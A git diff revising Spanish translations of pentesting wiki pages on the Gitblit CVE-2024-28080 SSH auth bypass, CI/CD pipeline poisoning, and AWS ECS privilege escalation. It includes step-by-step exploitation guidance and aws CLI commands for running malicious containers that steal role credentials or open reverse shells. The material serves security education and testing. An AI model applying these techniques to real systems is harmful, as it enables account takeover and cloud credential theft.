diff --git a/src/pentesting-ci-cd/gitblit-security/README.md b/src/pentesting-ci-cd/gitblit-security/README.md index f69d63a4c..275549914 100644 --- a/src/pentesting-ci-cd/gitblit-security/README.md +++ b/src/pentesting-ci-cd/gitblit-security/README.md @@ -1,10 +1,10 @@ -# Gitblit Seguridad +# Seguridad de Gitblit {{#include ../../banners/hacktricks-training.md}} ## ¿Qué es Gitblit -Gitblit es un servidor Git autoalojado escrito en Java. Puede ejecutarse como un JAR independiente o en contenedores servlet y trae un servicio SSH embebido (Apache MINA SSHD) para Git sobre SSH. +Gitblit es un servidor Git autoalojado escrito en Java. Puede ejecutarse como un JAR independiente o en servlet containers y proporciona un servicio SSH embebido (Apache MINA SSHD) para Git over SSH. ## Temas diff --git a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md index 135ee64f9..f17e6b2cf 100644 --- a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md +++ b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md @@ -1,10 +1,10 @@ -# Gitblit Embedded SSH Auth Bypass (CVE-2024-28080) +# Gitblit Bypass de autenticación SSH embebido (CVE-2024-28080) {{#include ../../banners/hacktricks-training.md}} -## Summary +## Resumen -CVE-2024-28080 es un bypass de autenticación en el servicio embedded SSH de Gitblit debido a un manejo incorrecto del estado de session al integrarse con Apache MINA SSHD. Si una cuenta de usuario tiene al menos una public key SSH registrada, un atacante que conozca el username y cualquiera de las public keys de ese usuario puede autenticarse sin el private key y sin la password. +CVE-2024-28080 es un bypass de autenticación en el servicio SSH embebido de Gitblit debido a un manejo incorrecto del estado de sesión al integrarse con Apache MINA SSHD. Si una cuenta de usuario tiene al menos una SSH public key registrada, un atacante que conozca el username y cualquiera de las public keys de ese usuario puede autenticarse sin la private key y sin la password. - Affected: Gitblit < 1.10.0 (observed on 1.9.3) - Fixed: 1.10.0 @@ -15,18 +15,18 @@ CVE-2024-28080 es un bypass de autenticación en el servicio embedded SSH de Git ## Root cause (state leaks between SSH methods) -En RFC 4252, la public‑key authentication procede en dos fases: el servidor primero comprueba si una public key proporcionada es aceptable para un username, y solo después de un challenge/response con una signature autentica al user. En MINA SSHD, el PublickeyAuthenticator se invoca dos veces: en la aceptación de la key (aún no hay signature) y más tarde, después de que el cliente devuelva una signature. +In RFC 4252, public‑key authentication proceeds in two phases: the server first checks whether a provided public key is acceptable for a username, and only after a challenge/response with a signature does it authenticate the user. In MINA SSHD, the PublickeyAuthenticator is invoked twice: on key acceptance (no signature yet) and later after the client returns a signature. -El PublickeyAuthenticator de Gitblit mutó el contexto de la session en la primera llamada pre‑signature al asociar el UserModel autenticado a la session y devolver true ("key acceptable"). Cuando la autenticación más tarde cayó de vuelta a password, el PasswordAuthenticator confió en ese estado de session mutado y cortocircuitó, devolviendo true sin validar la password. Como resultado, cualquier password (incluida la vacía) era aceptada después de una previa "acceptance" por public‑key para el mismo user. +Gitblit’s PublickeyAuthenticator mutated the session context on the first, pre‑signature call by binding the authenticated UserModel to the session and returning true ("key acceptable"). When authentication later fell back to password, the PasswordAuthenticator trusted that mutated session state and short‑circuited, returning true without validating the password. As a result, any password (including empty) was accepted after a prior public‑key "acceptance" for the same user. -Flujo defectuoso a alto nivel: +High‑level flawed flow: 1) Client offers username + public key (no signature yet) 2) Server recognizes the key as belonging to the user and prematurely attaches user to the session, returns true ("acceptable") 3) Client cannot sign (no private key), so auth falls back to password 4) Password auth sees a user already present in session and unconditionally returns success -## Step‑by‑step exploitation +## Explotación paso a paso - Collect a victim’s username and one of their public keys: - GitHub exposes public keys at https://github.com/.keys @@ -50,48 +50,48 @@ ssh gitblit-target # or Git over SSH GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://@/ ``` -La autenticación tiene éxito porque la fase anterior de public‑key mutó la sesión a un usuario autenticado, y password auth confía incorrectamente en ese estado. +Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state. -Nota: Si ControlMaster multiplexing está habilitado en la configuración de SSH, comandos Git posteriores pueden reutilizar la conexión autenticada, aumentando el impacto. +Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact. -## Impacto +## Impact -- Suplantación completa de cualquier usuario de Gitblit que tenga al menos una SSH public key registrada -- Acceso de lectura/escritura a repositorios según los permisos de la víctima (exfiltración de código fuente, pushes no autorizados, riesgos de supply‑chain) -- Impacto administrativo potencial si se ataca a un usuario admin -- Explotación puramente de red; no se requiere fuerza bruta ni private key +- Full impersonation of any Gitblit user with at least one registered SSH public key +- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks) +- Potential administrative impact if targeting an admin user +- Pure network exploit; no brute force or private key required -## Ideas de detección +## Detection ideas -- Revisar logs de SSH en busca de secuencias donde un intento de publickey es seguido por una autenticación por password exitosa con una contraseña vacía o muy corta -- Buscar flujos: método publickey ofreciendo material de clave no soportado/incompatible seguido por un éxito inmediato de password para el mismo nombre de usuario +- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password +- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username -## Mitigaciones +## Mitigations -- Actualizar a Gitblit v1.10.0+ -- Hasta que se actualice: -- Deshabilitar Git sobre SSH en Gitblit, o -- Restringir el acceso de red al servicio SSH, y -- Monitorear los patrones sospechosos descritos arriba -- Rotar las credenciales de usuarios afectados si se sospecha compromiso +- Upgrade to Gitblit v1.10.0+ +- Until upgraded: +- Disable Git over SSH on Gitblit, or +- Restrict network access to the SSH service, and +- Monitor for suspicious patterns described above +- Rotate affected user credentials if compromise is suspected -## General: abuso del state‑leakage del método de autenticación SSH (servicios basados en MINA/OpenSSH) +## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services) -Patrón: Si el public‑key authenticator de un servidor muta el estado de usuario/sesión durante la fase pre‑signature "key acceptable" y otros authenticators (p. ej., password) confían en ese estado, puedes omitir la autenticación mediante: +Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by: -- Presentar una public key legítima del usuario objetivo (sin private key) -- Forzar al cliente a fallar en la firma para que el servidor recurra a password -- Proporcionar cualquier password mientras el password authenticator se ataja por leaked state +- Presenting a legitimate public key for the target user (no private key) +- Forcing the client to fail signing so the server falls back to password +- Supplying any password while the password authenticator short‑circuits on leaked state -Consejos prácticos: +Practical tips: - Public key harvesting at scale: pull public keys from common sources such as https://github.com/.keys, organizational directories, team pages, leaked authorized_keys - Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password - MINA SSHD integration pitfalls: -- PublickeyAuthenticator.authenticate(...) no debe adjuntar estado de usuario/sesión hasta que la ruta de verificación post‑signature confirme la firma -- PasswordAuthenticator.authenticate(...) no debe inferir éxito a partir de cualquier estado mutado durante un método de autenticación previo e incompleto +- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature +- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method -Notas relacionadas de protocolo/diseño y literatura: +Related protocol/design notes and literature: - SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process) - Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 0bc7571c4..291a78890 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS significa **Sistema de Control de Versiones**, este sistema permite a los desarrolladores **gestionar su código fuente**. El más común es **git** y normalmente encontrarás que las empresas lo usan en una de las siguientes **plataformas**: +VCS significa **Version Control System**, estos sistemas permiten a los desarrolladores **gestionar su source code**. El más común es **git** y normalmente encontrarás empresas usándolo en una de las siguientes **platforms**: - Github - Gitlab @@ -18,86 +18,86 @@ VCS significa **Sistema de Control de Versiones**, este sistema permite a los de ## CI/CD Pipelines -Los CI/CD pipelines permiten a los desarrolladores **automatizar la ejecución de código** con varios propósitos, incluyendo construir, testear y desplegar aplicaciones. Estos flujos de trabajo automatizados se **disparan por acciones específicas**, como pushes de código, pull requests o tareas programadas. Son útiles para agilizar el proceso desde el desarrollo hasta producción. +CI/CD pipelines permiten a los desarrolladores **automatizar la ejecución del code** para varios propósitos, incluyendo build, test y deploy de aplicaciones. Estos workflows automatizados se **disparan por acciones específicas**, como code pushes, pull requests, o tareas programadas. Son útiles para optimizar el proceso desde el desarrollo hasta production. -Sin embargo, estos sistemas necesitan **ejecutarse en algún lugar** y normalmente con **credenciales privilegiadas para desplegar código o acceder a información sensible**. +Sin embargo, estos sistemas necesitan ser **ejecutados en algún lado** y normalmente con **credenciales privilegiadas para deploy code o acceder a información sensible**. ## VCS Pentesting Methodology > [!NOTE] -> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. +> Incluso si algunas VCS platforms permiten crear pipelines para esta sección vamos a analizar solo ataques potenciales al control del source code. -Las plataformas que contienen el código fuente de tu proyecto guardan información sensible y las personas deben tener mucho cuidado con los permisos concedidos dentro de esa plataforma. Estos son algunos problemas comunes en plataformas VCS que un atacante podría aprovechar: +Las platforms que contienen el source code de tu proyecto contienen información sensible y la gente debe tener mucho cuidado con los permisos otorgados dentro de esa platform. Estos son algunos problemas comunes en VCS platforms que un atacante podría abusar: -- **Leaks**: Si tu código contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. -- **Access**: Si un atacante puede **acceder a una cuenta dentro de la plataforma VCS** podría obtener **más visibilidad y permisos**. -- **Register**: Algunas plataformas simplemente permiten a usuarios externos crear una cuenta. -- **SSO**: Algunas plataformas no permiten registrar usuarios, pero permiten que cualquiera acceda con un SSO válido (por ejemplo, un atacante podría usar su cuenta de github para entrar). -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna manera a un repo. -- **Webhooks**: Las plataformas VCS permiten generar webhooks. Si no están **protegidos** con secretos no visibles un **atacante podría abusar de ellos**. -- Si no hay ningún secreto configurado, el atacante podría abusar del webhook de la plataforma de terceros -- Si el secreto está en la URL, ocurre lo mismo y el atacante además obtendría el secreto -- **Code compromise:** Si un actor malicioso tiene algún tipo de acceso de **escritura** sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito podría necesitar **bypassear las protecciones de ramas**. Estas acciones pueden realizarse con diferentes objetivos en mente: -- Comprometer la rama main para **comprometer production**. -- Comprometer la rama main (u otras ramas) para **comprometer las máquinas de los desarrolladores** (ya que normalmente ejecutan tests, terraform u otras cosas del repo en sus máquinas). -- **Comprometer el pipeline** (revisar la siguiente sección) +- **Leaks**: Si tu code contiene leaks en los commits y el atacante puede acceder al repo (porque es público o porque tiene acceso), podría descubrir los leaks. +- **Access**: Si un atacante puede **acceder a una cuenta dentro de la VCS platform** podría obtener **más visibilidad y permisos**. +- **Register**: Algunas platforms simplemente permiten a usuarios externos crear una cuenta. +- **SSO**: Algunas platforms no permiten registro, pero permiten que cualquiera entre con un SSO válido (por ejemplo un atacante podría usar su cuenta de github para entrar). +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... hay varios tipos de tokens que un usuario podría robar para acceder de alguna forma a un repo. +- **Webhooks**: VCS platforms permiten generar webhooks. Si no están **protegidos** con secretos no visibles un **atacante podría abusar de ellos**. +- Si no hay un secret en su lugar, el atacante podría abusar del webhook de la plataforma de terceros +- Si el secret está en la URL, sucede lo mismo y el atacante además tendría el secret +- **Code compromise:** Si un actor malicioso tiene algún tipo de **write** access sobre los repos, podría intentar **inyectar código malicioso**. Para tener éxito podría necesitar **bypassear branch protections**. Estas acciones pueden realizarse con distintos objetivos: +- Comprometer la main branch para **comprometer production**. +- Comprometer la main (u otras branches) para **comprometer las máquinas de los developers** (ya que suelen ejecutar tests, terraform u otras cosas del repo en sus máquinas). +- **Comprometer el pipeline** (revisa la siguiente sección) ## Pipelines Pentesting Methodology -La forma más común de definir un pipeline es usando un **archivo de configuración de CI alojado en el repositorio** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, condiciones que afectan el flujo y la configuración del entorno de build.\ -Estos archivos suelen tener un nombre y formato consistentes, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los archivos YAML de GitHub Actions ubicados bajo .github/workflows. Cuando se disparan, el job del pipeline **pulls the code** desde la fuente seleccionada (por ejemplo commit / branch), y **ejecuta los comandos especificados en el archivo de configuración de CI** contra ese código. +La forma más común de definir un pipeline es usando un **CI configuration file alojado en el repository** que el pipeline construye. Este archivo describe el orden de los jobs ejecutados, condiciones que afectan el flujo, y la configuración del build environment.\ +Estos archivos típicamente tienen un nombre y formato consistente, por ejemplo — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), y los GitHub Actions YAML files ubicados bajo .github/workflows. Cuando se dispara, el pipeline job **pulls the code** desde la fuente seleccionada (p. ej. commit / branch), y **ejecuta los comandos especificados en el CI configuration file** contra ese code. -Por lo tanto, el objetivo último del atacante es de alguna manera **comprometer esos archivos de configuración** o los **comandos que ejecutan**. +Por lo tanto el objetivo final del atacante es de alguna manera **comprometer esos configuration files** o los **comandos que ejecutan**. ### PPE - Poisoned Pipeline Execution -La ruta Poisoned Pipeline Execution (PPE) explota permisos en un repositorio SCM para manipular un pipeline de CI y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar archivos de configuración de CI u otros archivos usados por el job del pipeline para incluir comandos maliciosos. Esto "envenena" el pipeline de CI, conduciendo a la ejecución de esos comandos maliciosos. +El Poisoned Pipeline Execution (PPE) explota permisos en un SCM repository para manipular un CI pipeline y ejecutar comandos dañinos. Usuarios con los permisos necesarios pueden modificar CI configuration files u otros archivos usados por el pipeline job para incluir comandos maliciosos. Esto "envenena" el CI pipeline, llevando a la ejecución de esos comandos maliciosos. -Para que un actor malicioso tenga éxito realizando un ataque PPE necesita poder: +Para que un actor malicioso tenga éxito realizando un PPE necesita poder: -- Tener **write access to the VCS platform**, ya que normalmente los pipelines se disparan cuando se hace un push o un pull request. (Revisa la VCS pentesting methodology para un resumen de formas de obtener acceso). -- Notar que a veces un **PR externo cuenta como "write access"**. -- Incluso si tiene permisos de escritura, necesita asegurarse de que puede **modificar el archivo de config de CI u otros archivos de los que el config depende**. -- Para esto, podría necesitar ser capaz de **bypassear las protecciones de ramas**. +- Tener **write access to the VCS platform**, ya que usualmente los pipelines se disparan cuando se realiza un push o un pull request. (Revisa la VCS pentesting methodology para un resumen de maneras de obtener acceso). +- Nota que a veces un **external PR cuenta como "write access"**. +- Incluso si tiene permisos de write, necesita estar seguro de que puede **modificar el CI config file u otros archivos de los que el config depende**. +- Para esto, podría necesitar poder **bypassear branch protections**. -Hay 3 variantes de PPE: +Hay 3 sabores de PPE: -- **D-PPE**: Un ataque **Direct PPE** ocurre cuando el actor **modifica el CI config** que va a ser ejecutado. -- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **archivo** del que el CI config que va a ser ejecutado **depende** (como un make file o una configuración de terraform). -- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **disparados por usuarios que no tienen write access en el repo** (y que ni siquiera forman parte de la org) porque pueden enviar un PR. -- **3PE Command Injection**: Normalmente, los pipelines CI/CD **establecen variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y es **usado** en un **lugar peligroso** (por ejemplo para ejecutar comandos sh), un atacante podría **inyectar comandos ahí**. +- **D-PPE**: Un ataque **Direct PPE** ocurre cuando el actor **modifica el CI config** file que se va a ejecutar. +- **I-DDE**: Un ataque **Indirect PPE** ocurre cuando el actor **modifica** un **file** del que el CI config que se va a ejecutar **depende** (como un make file o un terraform config). +- **Public PPE or 3PE**: En algunos casos los pipelines pueden ser **triggered por users que no tienen write access en el repo** (y que quizás ni siquiera forman parte de la org) porque pueden enviar un PR. +- **3PE Command Injection**: Usualmente, CI/CD pipelines **set environment variables** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el title del PR) y es **usado** en un **lugar peligroso** (como ejecutar sh commands), un atacante podría **inyectar comandos ahí**. ### Exploitation Benefits -Conociendo las 3 variantes para envenenar un pipeline, veamos qué podría obtener un atacante tras una explotación exitosa: +Conociendo los 3 sabores para envenenar un pipeline, veamos qué podría obtener un atacante tras una explotación exitosa: -- **Secrets**: Como se mencionó anteriormente, los pipelines requieren **privilegios** para sus jobs (recuperar el código, construirlo, desplegarlo...) y estos privilegios suelen estar **almacenados en secrets**. Estos secrets normalmente son accesibles vía **env variables o archivos dentro del sistema**. Por lo tanto un atacante siempre intentará exfiltrar tantos secrets como sea posible. -- Dependiendo de la plataforma de pipeline el atacante **podría necesitar especificar los secrets en el config**. Esto significa que si el atacante no puede modificar la configuración del pipeline (**I-PPE** por ejemplo), podría **solo exfiltrar los secrets que ese pipeline tiene**. -- **Computation**: El código se ejecuta en algún lugar; dependiendo de dónde se ejecute un atacante podría pivotar aún más. -- **On-Premises**: Si los pipelines se ejecutan on premises, un atacante podría acabar en una **red interna con acceso a más recursos**. -- **Cloud**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de roles IAM/service accounts para obtener **más acceso dentro de la nube**. -- **Platforms machine**: A veces los jobs se ejecutan dentro de las **máquinas de la plataforma de pipelines**, que normalmente están en una nube sin **más acceso**. -- **Select it:** A veces la **plataforma de pipelines tiene configuradas varias máquinas** y si puedes **modificar el CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para tratar de explotarla más. -- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y despliega desde ahí, podrías **comprometer el código que terminará corriendo en production**. +- **Secrets**: Como se mencionó previamente, los pipelines requieren **privilegios** para sus jobs (retrieve the code, build it, deploy it...) y estos privilegios usualmente se **otorgan en secrets**. Estos secrets suelen ser accesibles vía **env variables o files dentro del sistema**. Por lo tanto un atacante siempre intentará exfiltrar la mayor cantidad de secrets posible. +- Dependiendo de la plataforma de pipeline el atacante **podría necesitar especificar los secrets en el config**. Esto significa que si el atacante no puede modificar la CI configuration pipeline (**I-PPE** por ejemplo), podría **solo exfiltrar los secrets que ese pipeline tenga**. +- **Computation**: El code se ejecuta en algún lado; dependiendo de dónde se ejecute un atacante podría pivotar más. +- **On-Premises**: Si los pipelines se ejecutan On-Premises, un atacante podría terminar en una **red interna con acceso a más recursos**. +- **Cloud**: El atacante podría acceder a **otras máquinas en la cloud** pero también podría **exfiltrar** IAM roles/service accounts **tokens** de allí para obtener **más acceso dentro del cloud**. +- **Platforms machine**: A veces los jobs se ejecutan dentro de las **máquinas de la plataforma de pipelines**, que usualmente están en una cloud sin **acceso adicional**. +- **Select it:** A veces la **platform de pipelines tendrá varias máquinas configuradas** y si puedes **modificar el CI configuration file** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un reverse shell en cada máquina posible para intentar explotarla más. +- **Compromise production**: Si estás dentro del pipeline y la versión final se builda y deploya desde ahí, podrías **comprometer el code que terminará corriendo en production**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta open-source para auditar tu software supply chain stack por seguridad y cumplimiento basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se enfoca en todo el SDLC, donde puede revelar riesgos desde code time hasta deploy time. ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Revisa este artículo interesante sobre los top 10 CI/CD risks según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it +- En cada platform que puedas ejecutar localmente encontrarás cómo lanzarla localmente para que puedas configurarla como quieras y probarla - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis estático para infrastructure-as-code. ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index b06b3bfc9..e5bae7ae2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -12,7 +12,7 @@ Más **info sobre ECS** en: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Un atacante que abuse de los permisos `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarlo**. +Un atacante que abusa del permiso `iam:PassRole`, `ecs:RegisterTaskDefinition` y `ecs:RunTask` en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que roba las credenciales del metadata y **ejecutarlo**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -Crea un webhook usando un sitio como webhook.site +Crea un webhook con un sitio como webhook.site ```bash # Create file container-definition.json @@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Impacto potencial:** privesc directo a un rol ECS diferente. +**Impacto potencial:** Privesc directo a un rol de ECS diferente. ### `iam:PassRole`,`ecs:RunTask` -Un atacante que tenga permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea ECS con los valores modificados de **execution role**, **task role** y **command** del contenedor. El comando CLI `ecs run-task` contiene la opción `--overrides`, que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la task definition. +Un atacante que tenga los permisos `iam:PassRole` y `ecs:RunTask` puede iniciar una nueva tarea de ECS con valores modificados de **execution role**, **task role** y el **command** del contenedor. El comando de CLI `ecs run-task` contiene el flag `--overrides` que permite cambiar en tiempo de ejecución `executionRoleArn`, `taskRoleArn` y el `command` del contenedor sin tocar la definición de la tarea. -Los roles IAM especificados en `taskRoleArn` y `executionRoleArn` deben confiar/permitir ser asumidos por `ecs-tasks.amazonaws.com` en su política de confianza. +Los roles IAM especificados para `taskRoleArn` y `executionRoleArn` deben confiar/permitir que sean asumidos por `ecs-tasks.amazonaws.com` en su política de confianza. Además, el atacante necesita conocer: -- Nombre del cluster ECS -- Subred de VPC -- Grupo de seguridad (si no se especifica un grupo de seguridad se usará el predeterminado) -- Nombre y revisión de la definición de tarea (Task Definition) -- Nombre del contenedor +- Nombre del ECS cluster +- Subred de la VPC +- Security group (si no se especifica un security group se usará el por defecto) +- Nombre y revisión de la Task Definition +- Nombre del Container ```bash aws ecs run-task \ --cluster \ @@ -105,9 +105,9 @@ aws ecs run-task \ ] }' ``` -En el fragmento de código anterior el atacante sobrescribe sólo el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y el `executionRoleArn` especificado en la definición de la tarea para que el ataque ocurra. +En el fragmento de código anterior un atacante solo sobrescribe el valor de `taskRoleArn`. Sin embargo, el atacante debe tener el permiso `iam:PassRole` sobre el `taskRoleArn` especificado en el comando y sobre el `executionRoleArn` especificado en la definición de la tarea para que el ataque ocurra. -Si el rol IAM que el atacante puede pasar tiene suficientes privilegios para extraer una imagen de ECR y arrancar la tarea ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) entonces el atacante puede especificar el mismo rol IAM tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`. +Si el rol de IAM que el atacante puede pasar tiene suficientes privilegios para descargar la imagen de ECR y arrancar la tarea de ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) entonces el atacante puede especificar el mismo rol de IAM tanto para `executionRoleArn` como para `taskRoleArn` en el comando `ecs run-task`. ```sh aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' { @@ -121,12 +121,12 @@ aws ecs run-task --cluster --launch-type FARGATE --network-config ] }' ``` -**Impacto potencial:** Privesc directo a cualquier rol de tarea de ECS. +**Impacto potencial:** Privesc directo a cualquier ECS task role. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que roba las credenciales de metadatos y **ejecutarla**.\ -Sin embargo, en este caso, es necesario que exista una instancia de contenedor para ejecutar la task definition maliciosa. +Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** en ECS puede **generar una nueva task definition** con un **contenedor malicioso** que robe las credenciales de metadata y **ejecutarlo**.\ +Sin embargo, en este caso se necesita una container instance para ejecutar la task definition maliciosa. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -146,8 +146,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - -Just like in the previous example an attacker abusing the **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** or **`ecs:CreateService`** permissions in ECS can **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las **credenciales de metadatos** y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.** +Al igual que en el ejemplo anterior, un atacante que abuse de los permisos **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** o **`ecs:CreateService`** en ECS puede **generar una nueva definición de tarea** con un **contenedor malicioso** que robe las credenciales de metadatos y **ejecutarlo creando un nuevo servicio con al menos 1 tarea en ejecución.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -170,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Impacto potencial:** Privesc directo a cualquier rol de ECS. +**Impacto potencial:** privesc directo a cualquier rol de ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -En realidad, con solo esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como: +De hecho, solo con esos permisos es posible usar overrides para ejecutar comandos arbitrarios en un contenedor con un rol arbitrario con algo como: ```bash aws ecs run-task \ --task-definition "" \ @@ -182,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Impacto potencial:** Escalada directa de privilegios a cualquier rol de ECS. +**Impacto potencial:** Privesc directo a cualquier rol de ECS. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Este escenario es similar a los anteriores pero **sin** el permiso **`iam:PassRole`**.\ -Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si es sin rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el rol IAM de EC2** y los **roles de otros contenedores de ECS** que se estén ejecutando en el nodo.\ -Incluso podrías **forzar que otras tareas se ejecuten dentro de la instancia EC2** que comprometas para robar sus credenciales (como se discute en la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). +Este escenario es como los anteriores pero **sin** el permiso **`iam:PassRole`**.\ +Sigue siendo interesante porque si puedes ejecutar un contenedor arbitrario, incluso si no tiene rol, podrías **ejecutar un contenedor privilegiado para escapar** al nodo y **robar el EC2 IAM role** y los **roles de otros contenedores ECS** que se estén ejecutando en el nodo.\ +Incluso podrías **forzar que otras tasks se ejecuten dentro de la EC2 instance** que comprometas para robar sus credenciales (como se discute en la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). > [!WARNING] -> Este ataque solo es posible si el clúster de ECS está usando instancias EC2 y no Fargate. +> Este ataque solo es posible si el **ECS cluster está usando instancias EC2** y no Fargate. ```bash printf '[ { @@ -234,7 +233,8 